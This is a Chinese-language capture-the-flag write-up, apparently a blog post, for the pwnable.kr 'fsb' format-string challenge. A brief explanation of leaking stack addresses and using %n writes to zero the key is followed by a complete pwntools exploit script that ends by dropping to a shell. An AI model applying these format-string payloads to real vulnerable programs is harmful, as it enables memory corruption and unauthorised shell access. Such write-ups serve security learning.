利用典型的format string 漏洞实现内存泄露与内存覆写从而修改key实现直接通过,当然也可以覆写got表的内容改变程序执行流,这两个的缺点就是覆写的时候那个巨大的字符串确实需要很长时间才能输出完实现覆盖,看了国外的writeup里面提到了在内存中搜索key的地址,至少在时间上不会这么长,而且也是另一种截然不同的思路了。。
这一题确实学习到了不少,比如$n的使用,esp ebp的高级利用,对fsb有了一个更深的理解,顺便膜拜了一下CMU的PPP战队,为以后提供了不少经验吧~都在脚本里了~加油!
#Exploit for [email protected]
#@Windcarp 2015.07.24
from pwn import *
#init
context(arch = ‘i386‘, os = ‘linux‘)
local=True
if local:
p = process("./fsb")
else:
p = remote("pwnable.kr", 9011)
raw_input()
#payload
payload1 = ‘nothing‘#rewrite the content of extr_ebp to the address of key
payload2 = ‘%134520928c%18$n‘
payload3 = ‘%14$x.%18$x‘#leak the address of ebp to caculate offset
payload4 = ‘%%%d$n‘#overwrite the content of key to zero
#do attack
print ‘[*] info: ‘ + p.recvuntil(‘\n‘)
p.send(payload1 + ‘\n‘)
p.recvuntil(‘\n‘)
print ‘[*] info: ‘ + p.recvuntil(‘\n‘)
p.send(payload2 + ‘\n‘)
p.recvuntil(‘\n‘)
p.recvuntil(‘\n‘)
print ‘[*] info: ‘ + p.recvuntil(‘\n‘)
p.send(payload3 + ‘\n‘)
leak = p.recvuntil(‘\n‘)
print ‘[*] leak: ‘ + repr(leak)
p.recvuntil(‘\n‘)
p.recvuntil(‘\n‘)
print ‘[*] info: ‘ + p.recvuntil(‘\n‘)
tmp1,tmp2 = leak.split(‘.‘)
esp_addr = int(tmp1,16) - 0x50
extr_ebp_addr = int(tmp2,16)
offset = (extr_ebp_addr - esp_addr) / 4
#we can calculate key now but we choose to overwrite
p.send(payload4 % offset + ‘\n‘)
print ‘[*] 1 ‘ + p.recvuntil(‘\n‘)
print ‘[*] 2 ‘ + p.recvuntil(‘\n‘)
print ‘[*] 3 ‘ + p.recvuntil(‘\n‘)#wait a sec
print ‘[*] keyinfo: ‘ + p.recvuntil(‘\n‘)#key:
p.send(‘0‘ + ‘\n‘)
print ‘[*] info: ‘ + p.recvuntil(‘\n‘)#congraz
#yeah we got the shell!
p.interactive()